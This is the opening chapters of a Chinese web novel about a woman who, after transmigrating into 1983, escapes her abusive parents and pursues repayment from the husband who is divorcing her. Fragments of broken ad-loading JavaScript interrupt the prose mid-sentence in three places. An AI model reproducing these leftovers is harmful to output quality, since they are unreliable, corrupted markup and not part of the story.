《八零之美人要暴富》 1. 不正经美人 一九八三年农历八月十八晴 平原省安平县红旗公社牛角岭大队,社员们正在田地里忙着收秋,今年是丰收年,金黄色饱满的玉米棒子,穗子压弯腰的高粱,还有那沉甸甸的黄豆荚,都让社员们笑开了花。 虽然现在气温仍在30度徘徊,干一会儿活就汗流浃背,但那一车车运回家的粮食,能够抵消一切的辛苦。 大队西边山坡的梯田上,林沐瑶家的大豆却只收了一半,黄豆荚有的都爆开掉地上了,要是再不收,黄豆荚全爆开掉地上了,今年的收成可就完了。 她家田地东西两边的俩邻居,看着掉在地上的黄豆心疼,东边邻居张娟红大声喊了西边的邻居,问:“翠娥嫂子,你说瑶丫头咋了,地里的黄豆再不收,今年的收成就坏了。” 翠娥嫂子姓李,不仅田地跟林沐瑶是邻居,家里也是邻居,她叹口气,“瑶丫头,心里头不好受啊。” 张娟红好奇了,“她咋了?” “咔嚓!” 一声,李翠娥的镰刀快而利落地割了一把黄豆秧,随手扔到旁边后,气愤不平地道:“她那个男人不是东西,瑶丫头省吃俭用地供他吃供他喝,自己却熬得瘦的只剩下一把骨头了,结果倒好,这狗男人大学毕业,分到了海城一家百货大楼当干事,不说接瑶丫头去海城享福,竟然要离婚。” 张娟红震惊地张大了嘴巴,这时一个瓢虫慌不择路地竟然飞进了她的嘴巴,她赶紧朝着地上“呸呸”了吐了两口唾沫,感觉嘴里头还有味儿,她朝着自己男人喊:“大贵,给我把水壶提来,我漱漱嘴。” 林大贵正在弯腰割黄豆,头也不抬地回道:“你又不是没长腿,自己拿!” 张娟红气地骂道:“男人没一个好东西!” 林沐瑶的男人坏,她男人也就比他好那么一点,起码会养家。 李翠娥瞅了眼前面弯着腰,闷头干活的自家男人抿唇,她男人也不是一个体贴的,在地里干活回家后往炕上一躺,家里除了吃饭,任何事都和他无关。 不过,好歹比林沐瑶的那个小白脸男人好那么一点点,会干活养家。 果然幸福是比较出来的,作为被比较的林沐瑶此刻正躺在家里的炕上,双眼无神地望着茅草铺的房顶,一脸的生无可恋。 她不就是被裁员,心情不好,灌了半瓶白酒吗?咋就让她穿越了?还穿越到了一个一贫如洗的恋爱脑身上,这世道还让不让人活了? 她奋斗出来的一百多平的省城二环的大平层,刚刚还完贷款,就这么没了,心痛地整个人都要碎掉。 “呼呼~” 心痛地做了两个深呼吸,低落的心情没有缓解,反而扯到了胃部,一阵剧烈的痛楚传来,她痛呼出声,“哎哟,痛!” 她额头开始渗出汗水,汗珠越来越大,最后汇集成小溪在脸上蜿蜒,小脸也跟着没有了血色。 活了近三十年,她头一次体验了饥饿到极致的感受,胃里因为没有食物,胃酸烧着胃火烧火燎得痛,还伴随着一阵阵痉挛。 怪不得古代荒年难民要易子而食,惧怕死亡是一方面,胃里没食的感受太痛苦了。 她艰难地挪动身体下炕,忍着疼一步一挪地去了厨房找吃食,只找到了红薯、黄豆和玉米,一点白面都没有。 黄豆和玉米要做成吃食需要时间,她目前的情况急切需要食物补充,顾不得许多,她拿起一根生红薯,用葫芦瓢舀水洗了就开啃。 “呕~” 边啃还边冒酸水,但饿极了她还是没有放弃啃生红薯,比起身体的不适,小命更重要。 等胃部有食了,胃没那么难受了,她赶紧起锅烧水煮粥,玉米粒、黄豆和红薯全搞里头,玉米粒虽然煮粥硬,但目前她也顾不得了。 烧火的过程中,她悲伤地叹了口气后,神情换上了浓浓的同情和嫌弃,接收了原主全部记忆的她,暗骂出声,“特么的真是绝世大冤种。” 话说原主原名林五丫,是牛角岭大队社员林守德家的五闺女,上面有一个哥哥,四个姐姐,还有一个弟弟,而她和弟弟是双胞胎。 虽然是幺女,但爹妈重男轻女,眼里只有大哥和小弟,家里的闺女都是用来换彩礼的,比如大姐和二姐就是为了给大哥换媳妇本儿,一个嫁给了瘸子,一个嫁给了大她十五岁的鳏夫,就因为这两家给的彩礼多。 三姐脾气泼辣,为了反抗家里安排的老光棍,自己谈了一个深山里的对象,然后私奔了。 深山路远又陡峭,还有狼,林守德和黄翠花当时气坏了,找了本家兄弟去深山闹腾,也只要回了二十块钱的彩礼。 这两口子回来回来后,在家里气地摔板凳摔盆,还大骂:“不要脸的死丫头,白养活十八年了,当初生下来,就该摁尿桶里溺死。” 吸取教训,两口子在四闺女的婚事上非常谨慎,在她十五岁就订好了人家,收了彩礼,岁数一到,就把人给送了过去,当然也不是啥好人家,是个娶不到媳妇儿的老光棍。 耗费了一家人大半辈子的积蓄,又东挪西借地凑了钱买了媳妇儿,可不就得让她使劲儿生儿子,干活儿挣钱回本。 看了四个姐姐的遭遇,原主不免害怕,爹妈把她也给卖了。 但原主有个优点,长得漂亮,晒不黑的冷白皮,琼鼻红唇,一双会发电的狐狸眼,波光潋滟间全是魅惑,看人时自带风情,勾人得很,更兼之她腰细腿长,身材凹凸有致,整一个狐狸精长相。 放在审美包容的后世,她绝对是被人追捧的大美人,指不定还能进军娱乐圈,靠颜值杀出一条血路。 可现在,她的长相就是不正经,男人见了走不动,女人见了翻白眼儿。 原主因自己的长相一度很自卑,她不仅留了厚厚的刘海,还走路低着头,佝偻着腰,就怕看见别人嫌弃的目光。 林守德和黄翠花本来见小闺女长得好,便想奇货可居,卖个高价,但原主长得太勾人了,准婆婆们见了就皱眉头,就怕她带坏了自己儿子,所以哪怕儿子闹翻了天,也不答应娶原主。 这么一来二去,原主愣是在家留到了十八岁,都没有能够订人家。 而这时原主的双胞胎弟弟也该结婚了,急需彩礼钱,原主每天都在害怕被爹妈卖了,重复四个姐姐的悲剧。 就在这个时候,知青罗森找上了她,向她表白,“林五丫同志,我喜欢你,想跟你谈一场以结婚为目的的恋爱,你可愿意?” 罗森来自大城市海城,说话时候温和含笑,跟村里说话总是大大咧咧带脏话的本地青年,不要好太多,大队好多年轻女同志都喜欢她,当然她也偷偷地喜欢着。 可他却向她表白,她内心慌乱中带着欢喜,欢喜中带着无措,无措的她跑了。 夜里她躺在炕上辗转反侧,一会儿皱眉叹气,一会儿又羞涩地笑,可等她起夜去厕所的时候,听到堂屋爹妈的私语。 林守德声音烦躁,“五丫的事要是再不成,就按照四丫的路数来,不能让她耽搁了成业的婚事。” “知道了。” 黄翠花答应一声,又唠唠叨叨地说:“五丫那个死丫头也不知道随了谁,一副狐狸精模样,怪不得没人要。” 林守德也纳闷,“咱们家长相都是端端正正的,就五丫长那样。” 听到这里,她不敢听了,赶紧跑回了房间,抱着自己瑟瑟发抖地流泪,四个姐姐除了三姐在深山里,她不清楚过得咋样,其他三个姐姐过得都不好。 大姐和四姐肚子几乎没空过,不停地生孩子,再加上地里家里活计多,一个个苍老干瘦,眼神木讷无光,没有任何鲜活气,她不要过那样的生活。 等第二天,罗森再 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 次向她表白,“林五丫同志,你想好答案了吗?我保证对你好,让你过好日子,哪怕是回城也会带着你。” 爹妈那边想要马上卖掉她,面前的又是她喜欢的人,她闭了闭眼睛,拳头攥紧,鼓起勇气答应了,“好,但我要马上结婚。” 罗森自然求之不得,面带欣喜道:“五丫,我发誓,我会对你好的。” 可如果罗森不给够彩礼,爹妈肯定不会同意婚事的,她红着脸跟罗森说,“我爸妈要500块彩礼。” 罗森没钱,左右为难之际,他想出了一个办法,“五丫,我现在没有钱,只有一颗爱你的心,易求无价宝,难得有情郎,真心是世界最珍贵,最难求的,如果你相信我,咱们演场戏,等结婚后,我会加倍对你好,五丫,你相信我。” 面前男人谈吐斯文,面容俊俏,好看的杏仁眼里全是柔情,原主的一颗心就此沦陷了。 原主故意跳进村头的河里,罗森看着原主在河里挣扎,等了一会儿才大叫一声,“有人落水了,快救人啊!” 然后挺身而出跳水救人,救人上来后,当着众人的面,又是心肺复苏,又是人工呼吸,总算是把人给救醒了。 当然原主的清白和名节也毁了,毕竟当着众人的面,她被一个男人摸了,还被亲了。 林守德气地抡起拳头要打罗森,原主拦着,“爸,他是我的救命恩人,你不能打他。” 罗森也赶紧表态,“林叔,虽然我为了救人,才给五丫同志做了人工呼吸和心肺复苏,但总归毁了她的名节,我愿意负责娶她。” 林守德狮子大张口要彩礼,但罗森哪里有钱,最后还是大队的支书,还有社员们的劝说,再加上原主坚持要嫁,而且她也毁了名节和清白,卖不上价了,林守德和黄翠花这才松口,经过讨价还价,以及大队支书的劝说,还是要了50块钱的彩礼。 俩人结婚,没有婚礼,没有领证,只买了喜糖在大队和知青点派了一圈。 后来罗森借钱,在村里盖了三间土坯房,房顶是茅草铺的,一间住,一间厨房,一间杂物间,原主总算摆脱了爹妈。 可她的生活并没有好转,因为他们结婚后,恢复高考的消息就传来了,罗森说他要给原主好生活,只能高考回城,为了高考,更是约定不过夫妻生活,就怕有孩子分心,罗森更是说,他想要孩子出生在海城,享受大城市的一切。 而且罗森还给她取名林沐瑶,说瑶是美玉,美好的意思,原主感动地稀里哗啦之余,便让他专心备考,累死累活地上工挣工分还债,供他吃喝,不辞辛劳地洗衣做饭,为他做好后勤,就这他也考了三次,79年才考上海城大学。 而后为了他能够在大学专心学习,原主又节衣缩食,从牙缝里挤钱给他邮递生活费,再加上原主爹妈时不时地上门打秋风,原主瘦成了骨头架子。 但她还心怀憧憬,罗森毕业后会来接她,可最终等来的却是离婚通知。 原主大受打击,生无可恋,躺在炕上不吃不喝,最后折磨死了自己,换她接手这烂摊子。 林沐瑶恶心坏了,这个罗森分明就是个凤凰男,在表白原主之前,他还给村里不少姑娘表白了,但附近有两个知青回城就抛弃农村妻子和孩子的事例,所以那些姑娘的家里人都不同意,然后他就找上了原主,他无非就是想找一个免费劳动力供他吃喝。 而不跟她发生关系,也是怕有了孩子,影响他的前程,林沐瑶是美,但自己的前程更要紧。 “狗男人该扔就得扔,折磨自己干什么。” 林沐瑶怒其不争,现在既然她成了原主,自然不会轻易放过渣男,首先要把原主资助他的钱要回来,其他的账再慢慢算。 但渣男肯定不乐意还,如果有以前的汇款单票根就好了,渣男不想认也不成,就是不知道原主有没有留着? 2. 坑极品妈 “咕噜咕噜……” 随着锅里粥的香味越来越浓郁,饥肠辘辘的肚子闹腾地越来越欢腾,刚才啃的那半根红薯的副作用也开始显症状,胃部又开始泛酸水,又是开头那种火烧火燎的痛。 从原主的记忆中得知,平常她为了省钱,给罗森邮递生活费,应付娘家爹妈打秋风,她平时全靠红薯和高粱充饥,玉米都不舍得吃,省下来的粮食卖掉,钱大部分邮递给罗森当生活费,给娘家爹妈送孝敬。 长期吃红薯副作用很大,胀气、打嗝虽然不雅,但只要自己不尴尬就成,令人不堪忍受的是长期吃红薯,会加重胃部负担,会导致烧心,胃部会火烧火燎得痛。 “大冤种,大傻子。” 她捂着胃再次嘟囔道:“自己都不爱自己,怎么奢望别人来爱你?” 反正换成她,亏待谁,她也不会亏待自己个儿的。 耐着性子等锅里的粥熬好,拿了一个有俩豁口的粗瓷碗盛了粥,又拿了水盆盛了凉水,把盛了粥的碗放进去,这样粥凉的快,她现的胃不能够喝太烫的粥。 等待的过程中,她看着碗里玉米、黄豆、红薯一起煮的粥,虽然不好看,但对于饥饿的她来说,已经是顶级美味了,肚子被勾地再次“咕噜噜”地叫了起来。 她轻轻地拍了拍自己的肚子,咽了咽口水,道:“心急吃不了热豆腐,等粥凉了再吃啊。” 但回应她的却仍然是“咕噜噜”的声音,她苦笑一声,“我一个连锁餐饮的中层领导,竟然看着这卖相乱七八糟的杂粮粥流口水,这是什么人间大悲剧啊。” 认命地拿起一把蒲扇,在粗瓷碗上方扇风,让杂粮粥凉得更快些。 等杂粮粥温热了后,她赶紧把粥端起来送嘴边喝,杂粮粥味道粗糙,还剌嗓子,但她不敢吐,这杂粮粥目前可是用来救命的。 “咕咚咕咚”地小口小口喝了多半碗粥,肚子的饥饿总算缓解了,虽然没有饱,但她也不敢再吃了,饥饿几天的胃不能吃太饱,对身体不好。 吃完粥,她坐在麦秸杆编织的墩子上坐着缓了一会儿,等有了力气,便站起身打算去房间找一找看看有没有汇款单票根,这些可是她跟罗森索要钱款的证据。 离开厨房之前,她特地看了看简陋的厨房,土坯做的墙、凹凸不平的原色土墙面,地面也是土地面。 灶是石头和土坯做的,上面放着一口大铁锅,还缺了一只耳朵,灶旁边的灶台也是用石头和土坯做的,不过石头多一些,也大一些,灶台分上下两层,上层放着菜板和菜刀,还有油盐和调料,第二层放着两三个碗。 厨房角落放着三个麻袋,一个麻袋装着红薯,另外两个一个装玉米粒,一个装黄豆,红薯只有一麻袋底,玉米粒和黄豆的麻袋却是满的,这些就是原主目前所有的口粮了,没一点儿细粮。 她心里憋气,不想再看,抬脚出了厨房,看了下院子,院子大概有一百多平,在农村不算大,院墙也是石头加土坯做的,上面还洒着瓷片和碎玻璃。 原主长得漂亮,罗森又不在家,便有那流氓地痞骚扰她,她不得已,借钱围了院墙,又上山砍了树,做了大门。 院墙边种着蔬菜,结着几个成人拳头大的丝瓜和南瓜,旁边还有木栅栏围起来的鸡圈,本来喂着三只鸡,但前些天卖掉还债了。 她叹口气,走进堂屋,堂屋的结构也是土坯和石头,但土坯居多,墙面没有刷白,是原色土墙,土坯松软,墙壁早就已经变得坑洼不平,看着脏兮兮的。 再有家具,除了麦秸杆编制的墩子,就是一张有成人小腿高的小桌子,漆面斑驳,缺了一条腿,用石头支着勉强能用。 再就是睡觉的地方,就一张土坯做的炕,两床补着补丁的被子,炕角落放着三个大荆条筐,里面装着原主所有的家当。 她走到炕前,抬腿就要上去翻找汇款单,刚抬上去一条腿,又赶紧收了回来,她突然想到一件事,原主最重要的东西,都被她收在屋里墙角挖的坑里。 她赶紧拿了工具去挖,先是挖到了一个木板,她把木板拿开,露出一个四四方方的坑,坑里用旧报纸包着一个东西。 她拿起旧报纸一层层地剥开,露出一个洗得发白的用粗布做的斜挎包,摸着挎包里物件传来的质感,应该是纸之类的东西。 她没有耽搁,赶紧打开布包,从里面拿出了一沓信封,而信封上的字显示着这些信全部来自海城大学,字体端正,笔锋刚劲。 她撇了撇嘴,“渣男虽然人品不好,字倒挺好看。” 拿出一个信封从里面掏出一封信,看了看,首先就是信头的称呼“亲爱的瑶瑶”,称呼怪肉麻呢。 接着看信,渣男先是用华丽的词句描写了大学生活,末了又写,“我一直不敢有丝毫的懈怠,就怕学习落后,毕业后分配不到好工作,不能给你好的生活,瑶瑶,我每天都在梦里描画你的样子,做梦都想拥你入怀,吻你万千。” “最近学校组织活动,学校领导会出席,如果能在组织活动中表现突出,给学校领导留下好印象,毕业分配到好工作的概率就高,只是活动有着装要求,我决定从今天开始,一天只吃一顿饭,用省下的钱买的确良衬衫,为了我们将来的幸福生活,我并不觉得苦。” 读完信,林沐瑶叹气,“会哄人,会画饼,原主一个单纯自卑的小姑娘,就这么被这只人渣给骗了。” 接着又读了几封信,虽然词句不同,但主要内容大差不差,示爱灌迷魂汤,再就是变着花样要钱。 她看着憋气,索性扔一旁,拿起一沓用黑棒发卡卡住的票据,然后眼睛亮了,这些正是她需要的汇款单的票根。 虽然不知道原主为什么留着,但此刻却帮了她的大忙,有了这些票根,她搞钱的启动资金就有了。 “五丫!” 外面传来一阵喊声,她身体条件反射地抖了抖,这声音是原主亲妈黄翠花的。 原主的亲爹妈每次来都没好事,不是让她回娘家干活,就是上门打秋风,要钱要粮食,不给就打人,原主被无良爹妈给欺负怕了,听到他们的声音身体就会发抖。 她脸上浮现冷意,原主怕他们,她可不怕,要钱没有,要干活不去,不就是打架吗?那就比一比谁更狠。 她赶紧把手里的票据藏好,把土坑埋上,刚埋好坑,黄翠花就进来了,进门后二话不说抡起巴掌朝着她的脸就要打,嘴里还骂骂咧咧,“死丫头,耳朵聋了,喊你竟然不应声。” 林沐瑶可不会干站着挨打,身体一扭躲了过去,黄翠花没打到人,更加怒了,“死丫头,竟然敢躲!” 她继续抡起巴掌要打,林沐瑶腰一弯,头一低,跟斗牛一样朝着黄翠花冲了过去,用了吃奶的劲儿把头抵在她的肚子上,把她抵倒,摔了个四仰八叉。 而她则哭着跑了出去,边哭边跑,还边用凄厉的声音喊:“要打死人了!” 等到了院子门口,她往地上一滚,身上瞬间沾满了尘土,再抬手把头发抓成鸡窝,衣裳扯乱,又往脸上抹了灰,这才一屁股坐在自己家门口,开嚎:“妈,你不能把粮食拿走, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 我就那点粮食了,你拿走了,我就要饿死了,哇哇……” “妈,求你给我留条活路吧!” 声音凄厉又悲伤,简直闻者落泪。 这里因为是新盖的房子,就在村子边上,不远处就是田地,田地里有不少社员在收秋,听到林沐瑶凄厉的嚎叫,社员们担心地放下手里的活走了过来,其中就有他们大队支书。 黄翠花被林沐瑶撞倒,屁股着地,撞到了尾椎骨,疼得她失声两秒钟,这才挣扎着爬了起来,铁青着脸,怒气冲冲地跑了出来。 刚出屋门,就大声怒骂:“死丫头,你敢撞我,老娘打死你!” 话音落,人就到了林沐瑶跟前,抡着巴掌就要打人,林沐瑶本来坐在地上哭,看到大队支书和几个社员正朝着这边走来,她眼珠子一转,便向黄翠花扑了过去,死死地抱住她的腰身,连着胳膊腿也给箍住后,这才放心地大声哭嚎:“妈,求你给我一条活路吧。” 哭嚎的同时,她手也没闲着,在黄翠花的腰臀上开掐,初秋天气还不冷,穿的薄,再加上她不惜力气,黄翠花很快痛呼起来,“死丫头,你敢掐我,老娘打死你!” “反正要挨打,那我先收点儿利息。” 林沐瑶低声恶狠狠地道。 黄翠花瞬间大怒,胳膊和腿都被箍住了,她不能动弹,便开启大力挣扎,林沐瑶不想挨打,死命地箍着她。 眼角余光看到大队支书和社员到了,这才放开,然后开始往后倒,她倒的位置非常有技巧,就在黄翠花的肥短腿刚刚能够挨到,却踢不到的范围。 可黄翠花不知道啊,她的身体一获得自由,立马抬腿踢人,可腿刚刚挨到林沐瑶,却不能伤害到她。 就在这时候,林沐瑶顺势捂着胸口往地上一躺,然后咬破舌尖,吐出一口血来,然后悲凄地看向黄翠花,悲伤道:“妈,我知道你恨我,恨我当初没有按照你们的要求换高彩礼,给成业换媳妇本,但我那时候名节和清白都没了,除了嫁给罗森,我根本没有其他的选择,这七年我尽力弥补,哪怕自己不吃不用,也要把钱粮送回家,可这次我身体不舒服,家里也只有那点粮食,真的不能帮你们干活,给你们粮食啊,妈,求求你,给你亲闺女一点活路吧。” 说完就爬起来,跪在地上磕头,边磕边嚎,:“妈,求你给我一条活路吧!” 磕了三个,听到支书已经走近了,她往地上一趴开始装晕,内心暗自龇牙咧嘴,这场戏演的有些亏本儿,舌尖痛,还累。 黄翠花可不管人晕不晕,抬腿就踢,“死丫头,老娘踢死你!” “住手!” 支书怒喝一声,“黄翠花,瑶丫头都吐血晕倒了,你还踢人,你是不是亲妈!” 黄翠花三角眼一瞪,辩解道:“支书,这死丫头装的,我刚才根本没踢到她。” 支书冷冷地剜了她一眼后,赶紧指挥社员,“赶紧把瑶丫头送大队卫生室。” 等人把林沐瑶背起来,他这才怒瞪着黄翠花,“回头再找你算账。” 一行人来到大队卫生室,卫生室的医生是个老中医,给林沐瑶把脉后,叹气,“这孩子身体亏虚,伤了根本,以后得好好养着,不能干重活,多吃有营养的东西,要不然怕活不长。” 不提大队支书和社员们的震惊,装晕的林沐瑶则在心里头骂起了娘,人渣罗森,给姑奶奶等着! 穿越可是单程票,这具身体要伴随她一辈子,她要好好养,就需要多多的钞票,回去就给罗森写信要钱,他敢不给,她要他好看! 3. 借势 林沐瑶睁开眼,可怜巴巴地看着支书祈求,“支书爷爷,我不想死。” 牛角岭大队支书林旺源,是一个五十多岁的老头儿,一米八的身材,国字脸,浓眉大眼,一身的正气。 他虽然比林守德还要小五岁,但辈分却比他大一辈,林守德得喊支书一声叔,而她自然就得喊爷爷。 林旺源瞅着林沐瑶苍白发青的脸,想起刚刚听到的消息,林沐瑶那个考上大学的男人,要跟她离婚。 虽然气愤罗森忘恩负义,对老林家闺女始乱终弃,但他一个老农民,真没有能耐帮忙讨公道,他深深地叹口气,劝道:“瑶丫头,你想活,就得自己立起来,对自己好,不要总想着别人。” 林沐瑶哽咽道:“鬼门关上走了一趟,我明白了一个道理,指望谁都不如指望自己,我以后肯定会吃好喝好,再不会苛待自己。” 林旺源欣慰道:“你这样想就对了。” 林沐瑶抬手抹了把眼泪,起身下床,给林旺源跪下,求恳道:“支书爷爷,我家的情况您也清楚,我爸妈是不会让我留一丁点粮食的,那是亲爹妈,我反抗不得,求您帮我主持公道。” “砰砰砰!” 不等人扶,她赶紧三个响头磕下,额头从白变红,配上她苍白无血色的脸,显得更加可怜了。 林旺源是牛角岭大队的支书,又是林家本家辈分高的长辈,林沐瑶既是牛角岭大队的社员,又是林家本家的小辈,于公于私,他都得帮忙。 他弯腰伸手把人扶起来,问:“你爸妈那里我会去说的,但你也得立住了,不能你爸妈一吓唬就妥协。” 林沐瑶赶紧摇头,“不会的,我就算不为自己,也得为咱们牛角岭大队,还有咱们老林家的闺女着想啊,我一个出嫁闺女,娘家还有俩身强力壮的兄弟,却为了孝敬爹娘,自己个儿日子都不过了,没的饿死了自己,还让咱们牛角岭大队和老林家落下苛待出嫁闺女的名声,影响了咱们大队和老林家闺女的婚姻行情。” 林旺源瞳孔一缩,看向林沐瑶的眼神多了一份打量,没想到平常木讷的丫头,竟然会说出这么一番有理有据借势的话。 但不得不说这话很管用,他本来只是看这丫头可怜帮忙,现在却要顾忌大队年轻闺女的婚事,势必要把林守德和黄翠花压制住。 一起送林沐瑶来大队卫生室的社员也被唬住了,出声讨伐林守德和黄翠花。 “支书,林守德和黄翠花两口子太不是人了,不把闺女当人看,您可不能再放任他们,坏了咱们牛角岭大队的名声啊。” “是啊,支书,不能再放任林守德和黄翠花了,要不然咱们大队的闺女咋说人家?” 林沐瑶低下头,嘴角微翘,比起装可怜博人同情,利益共同体更保险,她现在一穷二白,身体又不好,想要搞钱,就得先争取舆论支持,把极品娘家人压制住,争取短暂的成长空间。 林旺源伸手制止社员们的七嘴八舌,大声道:“现在大家伙都忙着收秋,今天晚上,叫上大队上的几个长辈,一起去林守德家说事儿。” 林沐瑶赶紧感激鞠躬,“谢谢支书爷爷,谢谢各位叔伯大哥。” 大家被她这郑重的模样搞得有些手足无措,他们赶紧摆手,“不谢不谢!” 但嘴角却翘得老高,做好事虽然不求回报,但是好心被领情了,怎么不令人愉快,成就感满满有没有? 林旺源则挥了挥手,“都是自家人不必客气。” 然后紧接着又问:“你地里的玉米和黄豆,打算咋办?特别是黄豆,再不收,今年的收成可就坏了。” 林沐瑶恍然想起,她也是有地的人,而且地里还有庄稼,但低头看了看自己鸡爪似的手,竹竿一样的细胳膊。 她苦笑一声,“支书爷爷,我现在只剩半条命,下不了地了,这样好了,咱们大队谁有空,就去帮我收了,收成对半分。” 林旺源打量了打量她皮包骨一样的身材,瘦骨伶仃的,好像一阵风就能够吹跑,脸色还苍白中透着青色,这副样子确实不能下地。 他想了想道:“我家的地今儿就收完了,明儿我带你守卫叔和春花婶儿帮你收粮食,都是自家人,不用特地给粮食。” 林沐瑶坚持要给,“要给的,收秋累人,我怎么好麻烦……” “你好好养身体,把日子过好才是正经。” 林旺源打断了林沐瑶的话。 其实看到林沐瑶这副凄惨样子,他除了怜悯,还有愧疚,他是支书,又是本家长辈,却让自己大队的社员,本家的小辈差点被磋磨死,他这次帮忙也算是弥补自己的失职吧。 林沐瑶真心感激,“谢谢支书爷爷。” 等她有钱了,买点儿好东西去感谢支书家,现在她连一顿好饭都招待不起,回去就写信跟罗森要钱。 这具身体极其虚弱,刚刚又是闹腾,又是演戏,还要想办法借势,体力和精力已经超支,刚刚喝下去的杂粮粥,也消耗完了。 支撑着疲惫的身体,她先去厕所撒了泡尿,本来就空的肚子彻底空了。 她回到厨房,把剩下的杂粮粥盛了出来,温度刚刚好,她没耽搁,咕咚咕咚地喝掉,总算恢复了些力气,走到堂屋,从一个荆条筐底部补着补丁的布包里找出纸和一支只有食指长短的铅笔。 又起身把汇款单票根拿起来汇总了下,得出给渣男邮钱的具体数额后,她惊讶地张大了嘴巴,原主平均每个月给罗森邮递20块。 20块可是现在城里一个学徒工的工资,而农村人来钱门路少,得钱更不容易,不提原主还得孝敬极品爹妈,所以原主一个月的收入得至少25块。 从记忆里得知,原主除了种地,她还去公社的砖厂搬砖,她一个女人,比起男人搬的还快还要多,而且只要给钱,不管脏活累活,她都肯干,但挣到的钱大部分给了罗森,仅剩不多的给了极品爹妈。 林沐瑶吸了吸鼻子,眼眶有了潮意,“傻姑娘,值得吗?” “你等着,我定会让曾经欺你辱你的人追悔莫及!” 这句话她是从牙缝里挤出来的。 她说完,就到外面那个破旧的小桌子给罗森写信要钱,她没耐心跟渣男多啰嗦,极力模仿原主的笔记,直截了当地写,“想离婚,把过往我邮给你的钱还给我,加上利息,还有青春损失费,一共1500块,如果不还,我就写信到你们单位领导,我手里有汇款单票根,你抵赖不了,不想被开除,老实还钱!” 写完后,又拿了信封,贴了邮票,写了罗森的地址,又用浆糊糊把信封封口,然后她为难了。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 他们大队可没有邮局,邮信还得去公社,公社离他们大队有十多里,平常原主邮信都是腿着去,她现在的身体可支撑不住,渣男罗森没有给原主留电话号码,要不然打个电话就成,她恶意猜想他大概就是防着今天呢。 皱着眉头想了一秒钟,真叫她想出了办法,支书的小儿子林守正在公社的供销社,每天骑着自行车来回跑道,她可以拜托林守正帮忙把信送公社邮局。 “哈欠~” 把紧要的事情处理完,她打了一个哈欠,伸了一个懒腰,有些累,她得去炕上躺会儿。 不过这之前,她还得做一件事,那就是看看这具身体的长相,虽然从原主记忆里得知这具身体长得像好,但是并不具体,她要看看她现在到底有多美。 拿出一面巴掌大的镜子,这是罗森从海城给她邮递回来的,不得不说,罗森这个渣男挺会哄人。 她拿起镜子,竖到自己面前,看着镜子里瘦成皮包骨,肤色暗沉蜡黄,头发干枯发黄的人,她目瞪口呆,“说好的大美女呢,哪儿去了?” 她把自己又左右移了移,再瞪大眼睛瞅着镜子里的人看,大概看久了,也终于从那张皮包骨头的脸上发现了美。 眼睛够大,眼型够美,鼻子够挺,唇型也好看,就是脸颊没肉,凹陷得厉害,让颧骨高耸,皮肤又蜡黄暗沉,这才掩盖了美女光环。 只要稍微长点肉,把皮肤养回来一点儿,绝对是大美人。 她又低头看了看自己的身材,虽然瘦成了骨头架子,但腰臀比特别好,胸前的鼓包没了以前的丰盈,但曲线还在。 瘦成这样,还能够有曲线,等她再养养,凹凸有致不是梦。 解决了这件心事,她终于放心地要去躺着了,身体太虚弱,需要睡眠修养,但还没有躺呢,她就看到灰朴朴的土炕上,从炕席的窟窿眼儿里爬出来一只蛐蛐儿。 再看看灰朴朴的土炕,灰朴朴的被褥,她踌躇了,这么脏,她咋睡啊? 但眼皮子就跟上了强效502胶水一样,黏得厉害,身体的疲惫像潮水一波一波地袭来,她苦笑一声,她现在有讲究的资格吗? 脱掉鞋,爬上炕,把被褥扯开铺炕上躺下,眼睛一闭,便进入了黑甜乡,睡之前,她还在想,按照原主的记忆,从这里邮信到海城至少得半个月,有时候一个月都有可能,就算罗森老实还钱,她也得等一个月,甚至于俩月,当然更大的可能是罗森头铁不还钱。 她的身体需要补品,买补品需要钱,所以她得赶紧想办法搞钱,一方面补身体,另外如果罗森不肯还钱,她还得杀去海城亲自找他要钱,去海城的路费也是一笔钱啊,她要怎么才能轻松搞到钱,毕竟她现在的身体太虚弱了。 “砰砰砰!” “瑶丫头,在家吗?” 迷糊中听到有人喊她,她睁开沉重的眼皮子,从窗户向外看去,天色不知什么时候已经黑透了,她竟然睡了一下午。 “瑶丫头,在家吗?” 外面又传来一道喊声,听着像是支书媳妇李萍的声音,想到支书,她拍了拍额头,今儿晚上,支书要去林守德家给她讨公道,她必须过去,她还想从娘家抠出钱呢,虽然难度有些大,但这可是她目前最快结束身无分文的窘境的办法,只能成功,不能失败。 4. 有钱了 林沐瑶打开院子的门,甜甜地叫了声,“李奶奶。” 然后歉疚地道:“我刚才睡着了,让您久等了。” 李萍浑不在意,反而关心地问:“你身体还好吗?” “咕噜噜~” 回答她的是一阵响亮的肠鸣。 林沐瑶抬手尴尬地捂住肚子,这具身体绝食了几天,今天一整天又只喝了两碗杂粮粥,饥饿挺正常,但当着人的面肚鸣如鼓,就挺尴尬。 李萍关心地问:“瑶丫头,你还没吃晚饭?” 林沐瑶点了点头,“我从卫生室回来就睡了,一直睡到现在。” 自家老头子召集了大队和本家的几个辈分高的长辈,正等着去林守德家说事,做饭吃饭需要功夫,不好让长辈们等。 她便道:“先去我家拿吃的垫垫,你爷和大队的长辈都等着你呢。” 林沐瑶没有矫情,点了点头后,感激道谢:“谢谢李奶奶。” 李萍黑暗中白了她一眼,“都是自家人,瞎客气啥。” 林沐瑶没回房收拾自己,她的衣服全是洗得发白,又补丁叠着补丁的破衣烂衫,根本没有囫囵衣裳,换不换都一样。 至于脸也没必要洗,她又没有护肤品,秋天的夜风干燥,洗了脸就出门会被吹皲裂。 头发她可以在路上边走,边用自带的手指梳头,小小麻花辫,轻松拿捏。 路上李萍终于没忍住,问:“瑶丫头,你可想过你以后咋办?” 农村没有秘密,罗森要跟林沐瑶离婚的事,不到半天里传遍了牛角岭大队,这会儿指不定都传到隔壁几个大队了。 幸灾乐祸的人有,但好人也不少,李萍就是真心关心林沐瑶的人之一。 林沐瑶此刻正在用手指头梳头,随口就回道:“好好挣钱,把身体养好。” 李萍用胳膊肘怼她一下,“我问的是你可想再走一家?女人没有个男人在身边,日子难熬。” 林沐瑶不敢苟同,“有了男人,不过多了一个需要伺候的活祖宗,不对,多了一家子需要伺候的活祖宗,我不想找麻烦。” 